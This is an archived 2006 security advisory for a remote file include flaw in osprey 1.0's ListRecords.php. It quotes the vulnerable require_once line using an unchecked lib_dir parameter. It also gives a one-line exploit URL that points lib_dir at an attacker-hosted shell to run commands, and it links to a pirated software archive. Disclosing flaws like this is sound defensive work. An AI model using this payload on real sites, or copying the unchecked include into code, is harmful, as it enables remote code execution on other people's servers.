osprey 1.0 (ListRecords.php) Remote File Include Vulnerability

2006-10-19T00:00:00
ID SECURITYVULNS:DOC:14729
Type securityvulns
Reporter Securityvulns
Modified 2006-10-19T00:00:00

Description

=======================================================================

=======================

osprey 1.0 (ListRecords.php) Remote File Include Vulnerability

=======================================================================

========================

Critical Level : Dangerous

Venedor site : http://warez.gtasoft.ru/skripts/p4CMS.v1.05.Nullified-WTN.rar

=======================================================================

=========================

Bug in : ListRecords.php

Vlu Code :

--------------------------------

require_once($lib_dir .'Document.class.php');

=======================================================================

=========================

Exploit :

--------------------------------

http://sitename.com/[Script Path]/ListRecords.php?lib_dir=http://SHELLURL.COM?&cmd=id

=======================================================================

=========================

Discoverd By : KaBaRa.HaCk.eGy

Conatact : KaBaRa.HaCk.eGy[at]hotmail.com

GreetZ : eGypT.GHosT - ToOoFa - LeCoPrA - MaHmooD_ali - MoHandKo - The_Sniper - Broken-broxy - abdoullaH00

AND My BroTherS Turkish HaCkeRs--> HaCkerfreeze & My Turkish TeaM--> BelGium SeCurity FoR My BrO ..MeRtXx..

Special Thx To : TryaG.CoM & AsbMay.NeT

========================================================================